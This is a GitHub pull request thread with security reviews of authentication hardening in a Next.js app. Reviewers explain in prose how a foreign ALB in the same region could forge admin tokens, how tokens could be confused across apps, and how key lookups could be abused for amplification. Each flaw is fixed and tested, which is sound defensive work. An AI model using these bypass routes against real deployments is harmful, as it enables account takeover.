Merge with main (849d459, 2ceac8b) — resolves the conflicts with GLOOK-59. The new freshness fields on /api/llm-config go to every viewer (timestamps/booleans only), and the admin/public config split is kept. GLOOK-59's report route called extractUser() without await, which no longer type-checks now that it's async.

Blocker 1 — the CSP broke the app in a real browser (08825d6). A static script-src 'self' blocks Next's inline hydration scripts (self.__next_f.push(...)). Every page rendered as static HTML with no data, and React threw error #412. curl can't see this. Now proxy.ts mints a 128-bit nonce per request (script-src 'self' 'nonce-…' 'strict-dynamic'), and the root layout renders per request. Verified in Chrome: 0 violations, all pages render data, and an injected inline script without the nonce is still blocked. 401s from the gate now get default-src 'none' (they had no CSP).

Blocker 2 — browser vs MCP on dev (23ffcd6). Dev has two identity paths, and this PR verified only one. The mcp-okta-proxy sidecar sent an unsigned alg=none JWT in x-amzn-oidc-data, which verification correctly rejects, so either the browser or MCP got locked out. Fix:

  • The sidecar now forwards the caller's original, validated Okta token (Smartling/mcp-okta-proxy#23, OKTA_MCP_PROXY_ACCESS_TOKEN_HEADER_NAME).
  • Glooker verifies it against Okta's JWKS (RS256, iss, aud, exp, optional cid) and takes email/groups from /userinfo with that token.
  • It's accepted only on /api/mcp: proxy.ts strips the header everywhere else.
  • Config: AUTH_OKTA_ISSUER + AUTH_OKTA_AUDIENCE (both are required; validateEnv errors on half-config).

Next 16 regression — boot migrations deadlocked (2932f8b). The db module was instantiated more than once per process, so the boot ALTERs ran concurrently: 8 "Deadlock found" on a local boot, versus 0 on main under the same load. On a new column that would leave it silently missing. Fixed with a globalThis singleton, like the other stores. The regression test fails on the old code.

Compose (280b2a4): pass AUTH_ALLOW_ANONYMOUS_ADMIN and ALLOWED_ORGS through, needed for a local production build.

Jest: 2177/2178 locally. The one failure comes from untracked duplicate files on my machine and passes without them. tsc clean, next build OK.

Still open here: non-admins lose the Projects nav link and Jira host links, because the public config drops jira (NavBar.tsx reads config.jira.enabled/projectsJql).

Dev rollout needs (glooker-deploy):

  • App: AUTH_ALB_REGION=us-east-1, ALLOWED_ORGS=Smartling, AUTH_OKTA_ISSUER/AUTH_OKTA_AUDIENCE=https://smartling-login.okta.com.
  • Sidecar: image 0.2.17 with OKTA_MCP_PROXY_ACCESS_TOKEN_HEADER_NAME=x-okta-access-token, and drop USERINFO_HEADER_NAME.
  • ECS host: /var/log/glooker writable by uid 1000 (the container is now non-root).

@msogin msogin left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Smartling review

Assessment: Ready to merge with fixes. The PR closes real holes (unsigned JWT trust, ungated routes, CSV/formula injection, the org override in chat). However, the ALB path still lets anyone with their own ALB in the same region forge identities until signer and the issuer are pinned, and the JWKS path should pin the audience.

The inline comments below cover the specific issues. Cross-cutting recommendations:

  • Authentication is now enforced only in the proxy and its matcher. Add a test that asserts the matcher covers /api/* and page routes.
  • Add negative tests to proxy-auth-gate.test.ts and auth.test.ts for wrong audience, wrong issuer, and a foreign ALB signer.
  • src/app/api/chat/route.ts: req.json() sits outside the try block, so a malformed body returns an unhandled 500. Move it inside the try.

Comment thread src/lib/auth.ts
}));
} else if (process.env.AUTH_ALB_REGION) {
if (alg !== 'ES256' || !kid) return null;
({ payload } = await jwtVerify(token, await albPublicKey(kid), {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 critical — ALB tokens are accepted without checking the signer header against our ALB ARN. The public-keys.auth.elb.<region>.amazonaws.com key host serves keys for every ALB in the region, so anyone running their own ALB and OIDC IdP in the same region can mint an ES256 token with any email/groups, including admin. That is a full authentication bypass. AUTH_EXPECTED_ISS is also optional, so the issuer is not pinned by default.

Fix: add a required AUTH_ALB_ARN, read signer from decodeProtectedHeader, and reject unless it equals that ARN. Make AUTH_EXPECTED_ISS mandatory on the ALB path, and fail closed in env-validation when either is missing.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in b73b163. The ALB path now requires AUTH_ALB_ARN and rejects any token whose signer header differs. That check runs before any key fetch, so a foreign token costs no outbound request either. AUTH_EXPECTED_ISS is now mandatory on the ALB path, and validateEnv errors when either is missing. Tests: a correctly signed token from another ALB is rejected with zero fetches, a token with no signer is rejected, and a missing ARN or issuer denies everything. The foreign-signer test fails if the check is removed. Dev values: issuer https://smartling-login.okta.com (the ALB's authenticate_oidc issuer); the ARN is derivable from the listener ARN terraform already reads.

Comment thread src/lib/auth.ts

let payload: JWTPayload;
if (process.env.AUTH_JWKS_URL) {
({ payload } = await jwtVerify(token, remoteJwks(), {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 warning — The JWKS path checks no audience, and the issuer is only checked when AUTH_EXPECTED_ISS is set. Any token the same IdP signed for a different client app would authenticate here (token confusion across apps).

Fix: add AUTH_EXPECTED_AUD, pass audience to jwtVerify, and require both issuer and audience whenever AUTH_JWKS_URL is used.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in b73b163. The JWKS path requires AUTH_EXPECTED_ISS and the new AUTH_EXPECTED_AUD (passed as audience to jwtVerify); without either, every token is denied and validateEnv errors. Tests: wrong audience (a token for another app), wrong issuer, and each pin missing.

Comment thread src/lib/auth.ts Outdated
if (!/^[A-Za-z0-9._-]{1,128}$/.test(kid)) throw new Error('malformed key id');

const region = process.env.AUTH_ALB_REGION!;
const res = await fetch(

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 warning — Every token with a new, well-formed kid triggers an outbound fetch to AWS, and failed lookups are not cached. albKeyCache also grows without limit. Unauthenticated callers can use this to make the app send unlimited outbound requests (amplification).

Fix: cache misses for a short time, share one in-flight lookup per kid, and bound the cache size.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in b73b163. Key lookups are bounded (ALB_KEY_CACHE_MAX = 100, FIFO). Misses are cached for 60s, and concurrent lookups for the same kid share one in-flight fetch. The signer pin above also runs first, so only tokens claiming our ALB reach a lookup at all. Tests cover each of these.

Comment thread src/proxy.ts
if (PUBLIC_PATHS.has(req.nextUrl.pathname)) return next(req);

const user = await extractUser(sanitizeIdentityHeaders(req.headers, req.nextUrl.pathname));
if (!user) return unauthorized(req);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 warning — The token is verified here, then again in every handler (requireAdmin, resolveRequester, /api/auth/me). That is two or more signature checks per request, and on the ALB path a cold key cache means duplicate key fetches.

Fix: have the proxy strip an internal identity header from inbound requests, set it with the verified identity, and have handlers read that header. Or memoize verification per request.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in b73b163 with a per-token memo instead of an internal header. A token that fully verified maps to its identity until its own exp (at most 5 min, bounded to 1,000 entries), so the gate and the handlers verify once, and the Okta path calls /userinfo once. I avoided the internal trusted header on purpose: if the proxy matcher ever missed a path, a client-supplied copy would be trusted, which is the class of bug this PR removes. The memo is only written after full verification, so it can't admit anything verification wouldn't. Tests: jwtVerify runs once across three calls, and a memoized identity is not reused past token expiry.

Comment thread src/lib/auth.ts
const cached = oktaUserCache.get(key);
if (cached && cached.expiresAt > Date.now()) return cached.user;

const res = await fetch(cfg.userinfoUrl, {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 warning — The /userinfo response is trusted without checking that info.sub matches the token's sub. If AUTH_OKTA_USERINFO_URL is misconfigured, the identity could come from a different principal.

Fix: reject when info.sub !== payload.sub.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in b73b163, with one Okta-specific detail. For org-server access tokens, sub is the user's login and the Okta user id is in uid, while /userinfo returns sub = the user id. So the check is info.sub === (payload.uid ?? payload.sub), and a missing info.sub is rejected too. Tests: a different principal is rejected, the org-server uid shape is accepted, and a missing sub is rejected.

Comment thread src/proxy.ts Outdated
// non-production environment — production defaults to on, and
// validateEnv() prints a startup banner whenever auth is off at all.
if (!isAuthEnabled()) return next(req);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 suggestion — In production, AUTH_ENABLED=false alone opens every read route; AUTH_ALLOW_ANONYMOUS_ADMIN only controls admin rights.

Fix: in production, also require a second explicit opt-in (e.g. AUTH_ALLOW_ANONYMOUS=true) before letting requests through, or refuse to start.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in b73b163. In production, AUTH_ENABLED=false now also needs AUTH_ALLOW_ANONYMOUS=true; otherwise the gate answers 503 for everything except /api/health (the liveness probe stays up), and validateEnv errors. Outside production nothing changes. Compose passes it through, and the local podman flow sets it explicitly.

Comment thread src/lib/auth.ts
const cfg = oktaConfig();
if (!cfg) return null;

const { payload } = await jwtVerify(token, oktaKeySet(cfg.jwksUrl), {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 suggestion — The cid pin is only enforced when AUTH_OKTA_CLIENT_ID is set.

Fix: make it required, or document that it is effectively required whenever one audience is shared by several clients.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Made it required in b73b163. Dev's audience is the org-wide https://smartling-login.okta.com, which every app in the tenant shares, so without the cid pin another app's token would pass. With issuer and audience set but no client id, Okta tokens are denied and validateEnv errors. Test added.

@msogin msogin left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review-loop (2 personas, 1 loop)

Reviewers: Security Engineer + Security and Sr. Backend/Next.js Dev + Correctness. Intent: safe to merge. Verdict: not yet. There are 3 Critical issues: the token is not bound to this app (ALB signer check, JWKS aud/iss), and two Dockerfile runtime issues.

The reviewer also verified locally that tsc is clean, all 2178 jest tests pass, and next build succeeds. Every auth call site is awaited, and padded ALB tokens still verify under jose 6.

Deferred / non-inline:

  • Release notes: production with AUTH_ENABLED unset is now gated, and MCP needs AUTH_OKTA_ISSUER/AUTH_OKTA_AUDIENCE. Document the required env vars and the rollout order.
  • ALLOWED_ORGS empty means any org is allowed (documented, and a warning is logged). Consider requiring it in production in a follow-up.
  • Skipped: there is no per-user org membership (product decision), and /public assets other than the favicon return 401 when unauthenticated (consistent with deny-by-default).

Comment thread src/lib/auth.ts
algorithms: ['ES256'],
clockTolerance: 60,
...(process.env.AUTH_EXPECTED_ISS ? { issuer: process.env.AUTH_EXPECTED_ISS } : {}),
}));

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical | Security] ALB mode never checks the signer header. ALB signing keys are regional, not per-LB. Without comparing header.signer to this app's ALB ARN (and with AUTH_EXPECTED_ISS optional), a token minted by an attacker-controlled ALB in the same region verifies and can carry arbitrary email/groups. AWS documents the signer check as required. Suggest: required AUTH_ALB_ARN, reject unless header.signer matches; require issuer in ALB mode.

Comment thread src/lib/auth.ts
algorithms: (process.env.AUTH_JWKS_ALGS || 'RS256,ES256').split(',').map((a) => a.trim()),
clockTolerance: 60,
...(process.env.AUTH_EXPECTED_ISS ? { issuer: process.env.AUTH_EXPECTED_ISS } : {}),
}));

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical | Security] JWKS mode checks neither audience nor issuer by default. issuer is enforced only when AUTH_EXPECTED_ISS is set, and audience is never checked. With a shared IdP JWKS, a token issued for any other client in the tenant is accepted, including its groups. The Okta path pins both, so the two paths are inconsistent. Suggest: required AUTH_EXPECTED_ISS + AUTH_EXPECTED_AUD, fail closed if missing.

Comment thread src/lib/env-validation.ts
// Auth is enabled but no way to verify a token's signature is configured.
// extractUser() denies every request in that state rather than trusting the
// header, so this is a hard error: the app is up but nobody can sign in.
if (process.env.AUTH_ENABLED === 'true'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Important] Startup validation misses the new default-on auth and the verifier settings. (a) The missing-verifier hard error fires only when AUTH_ENABLED === 'true', but auth is now also on when it is unset in production, which is the upgrade path for existing deployments. Those boot without an error and then return 401 for every request. The same old check is used at line ~147 for the AUTH_ADMIN_GROUP warning. Use isAuthEnabled() in both places. (b) Also fail at startup when iss/aud/ALB ARN are missing (see auth.ts comments).

Comment thread Dockerfile
# attempt any escape needing privileged operations.
USER node

HEALTHCHECK --interval=30s --timeout=5s --start-period=30s --retries=3 \

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical | Correctness] Healthcheck probes 127.0.0.1, but the standalone server binds to $HOSTNAME, which Docker sets to the container ID (the container's IP, not loopback). The probe fails, so containers are marked unhealthy, which can trigger restart loops under ECS or compose service_healthy. Suggest ENV HOSTNAME=0.0.0.0 and PORT=3000 in the runner stage.

Comment thread Dockerfile
# advisories open before the Next 16 upgrade) started as uid 0 — free to
# backdoor server.js for persistence, apk add tooling, read /proc/1/environ, and
# attempt any escape needing privileged operations.
USER node

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical | Correctness] USER node, but /app is still owned by root. Only the copied files are chowned. The default SQLite path is cwd/glooker.db, so the default DB_TYPE fails with EACCES on first DB access. Existing root-owned volumes and LOG_DIR mounts are affected too. Suggest chown node:node /app (or a data dir) before USER node, plus a release note about the volume-ownership migration.

Comment thread src/lib/jira/client.ts
// of /rest/api/<v>/ and address an arbitrary Jira endpoint with these
// credentials. Worth keeping even though every caller now validates.
const url = new URL(`${this.baseUrl}${path}`);
if (!url.pathname.startsWith(`/rest/api/${this.apiVersion}/`)) {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Important | Correctness] The base-path guard hard-codes the /rest/api/<v>/ prefix. baseUrl keeps any context path in JIRA_HOST (e.g. host/jira), so every jiraFetch fails on self-hosted Server/DC installs with a context path. Suggest comparing against new URL(this.baseUrl).pathname + '/'.

Comment thread docker-compose.yml
# AUTH_TEST_USER bypass needs this explicit second opt-in — see
# auth.ts and .env.example. Never set in a real deployment.
AUTH_TEST_ALLOW_IN_PRODUCTION: ${AUTH_TEST_ALLOW_IN_PRODUCTION:-}
# Exactly one of these is required whenever AUTH_ENABLED=true — they are

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Ask] Plain docker compose up now returns 401 for everything. AUTH_ENABLED is empty and NODE_ENV=production, so auth is on with no verifier. DB credentials are now required as well. Please confirm this is intended, and document the minimal local env in the README and .env.example.

…ire JWKS audience, harden key fetch

Critical: the AWS key host serves signing keys for EVERY ALB in the region, so a
valid ES256 signature only proved "some ALB signed this" — anyone with their own
ALB + IdP in us-east-1 could mint an admin token. The ALB path now requires
AUTH_ALB_ARN and rejects any token whose `signer` header differs, before any key
fetch; AUTH_EXPECTED_ISS is mandatory there too.

- JWKS path: AUTH_EXPECTED_ISS and AUTH_EXPECTED_AUD are both required, so a
  token the IdP issued for another app can't authenticate.
- ALB key lookups (driven by an unverified kid): bounded cache, misses cached
  60s, one shared in-flight fetch per kid — no unbounded outbound amplification.
- Verified tokens are memoized (bounded, never past exp, at most 5 min), so the
  gate and every handler no longer re-verify, or re-call /userinfo. Deliberately
  not an internal trusted header, which would reintroduce header trust if the
  proxy matcher ever missed a path.
- Okta MCP path: AUTH_OKTA_CLIENT_ID is required (the org audience is shared by
  every app in the tenant), and /userinfo's sub must equal the token's uid (Okta
  org server) or sub.
- Production with AUTH_ENABLED=false now also needs AUTH_ALLOW_ANONYMOUS=true;
  otherwise the gate 503s everything but /api/health.
- /api/chat: a malformed JSON body is a 400, not an unhandled 500.
- validateEnv errors on every missing pin; docs, .env.example and compose updated.

Tests: foreign signer (no key fetch), missing signer, missing ARN/issuer, cached
key misses, shared in-flight fetch, bounded cache, memo hit and expiry; JWKS
wrong audience/issuer and missing pins; production anonymous gate; a matcher test
walking every route/page file; Okta cid required and /userinfo sub mismatch;
chat malformed body. The foreign-signer test fails without the fix.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
@msogin

msogin commented Oct 5, 2026

Copy link
Copy Markdown
Contributor

Review addressed in b73b163. Every inline comment has a reply. Review-level points:

  • Matcher coverage: new test in auth.test.ts walks every route.ts / page.tsx under src/app, asserts the proxy matcher matches each one, and asserts it skips only _next/static, _next/image, favicon.ico and icon.svg.
  • Negative tests: wrong audience, wrong issuer, foreign ALB signer, missing signer, and each missing pin (ALB and JWKS), plus the Okta cid and /userinfo sub mismatch.
  • /api/chat malformed body: now a 400 (request body must be JSON) rather than moving req.json() into the existing try, which would have turned it into a 500. Test added.

npx jest: 2208/2209. The one failure comes from untracked duplicate files on my machine and passes without them. tsc clean; image builds. Redeployed locally: pages and APIs 200, no CSP violations, no migration deadlocks.

Dev config this now requires (on top of the earlier list): AUTH_ALB_ARN (the shared ALB's ARN, derivable from the listener ARN in remote state), AUTH_EXPECTED_ISS=https://smartling-login.okta.com, and AUTH_OKTA_CLIENT_ID (the MCP client id already in SSM at /glooker/okta_client_id).

…ink, issue links)

The public /api/llm-config payload (everyone except admins) dropped `jira`
entirely, so for every viewer the Projects nav link disappeared and developer
pages lost their Jira issue links.

Viewers now get jira.enabled, jira.host (already visible in every issue link)
and a new boolean jira.projectsEnabled — never the JQL, the service-account
username or which credentials are missing. NavBar reads projectsEnabled, which
both payloads carry. Tests pin the fields, the absence of each secret, and the
NavBar showing/hiding Projects from a viewer's config.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
@msogin

msogin commented Oct 5, 2026

Copy link
Copy Markdown
Contributor

Fixed the last open item in f1df67f. The public (non-admin) /api/llm-config now includes jira.enabled, jira.host (already visible in every issue link) and a new boolean jira.projectsEnabled. It never includes the JQL, the service-account username or which credentials are missing. NavBar reads projectsEnabled, so viewers keep the Projects link, and developer pages keep their Jira issue links. Tests pin the fields, the absence of each secret, and the NavBar show/hide from a viewer's config. npx jest 2214/2215 (the one local-only failure as before).

@msogin
msogin merged commit ee7b4a6 into Smartling:main Oct 5, 2026
1 check passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants